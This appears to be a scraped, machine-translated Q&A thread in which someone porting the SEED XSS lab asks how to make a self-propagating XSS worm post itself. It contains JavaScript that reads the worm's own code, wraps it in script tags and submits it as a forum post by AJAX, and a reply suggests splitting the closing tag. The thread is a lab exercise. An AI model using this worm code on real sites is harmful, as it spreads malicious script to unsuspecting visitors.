发送& lt; script>ajax内容中的标签

Sending <script> tags in ajax content

本文关键字:标签 lt script 发送 ajax      更新时间:2023-09-26

我正在移植这个实验:http://www.cis.syr.edu/~wedu/seed/Labs/Attacks_XSS/XSS.pdf

用于项目。然而,首先,我必须能够自己完成它。我正在研究自我繁殖的蠕虫,遇到了一些困难。如何通过内容发送脚本标签?如果我尝试:

var wormCode = getElementById("worm");
var escapedWorm = escape(wormCode.innerHTML);
content="topicTitle=testprop&postText=<script>"+escapedWorm+"</script>&forum=3&action=ptopic";
Ajax.send(content);

标签脱离了它所在的大javascript。我也试过把它拆分为:

...+"</scr"+"ipt>&...

但是这不起作用。

提示吗?

编辑:更新了我最近的尝试(我希望是准确的)

var wormCode = getElementById("worm");
var escapedWorm = escape("<" + "script>" + wormCode.innerHTML + "</" + "script>");
content="topicTitle=testprop&forum=3&action=ptopic&postText="+escapedWorm;
Ajax.send(content);

你没有转义脚本标签

将结束脚本标记分成两个不同的部分最终还是成功了。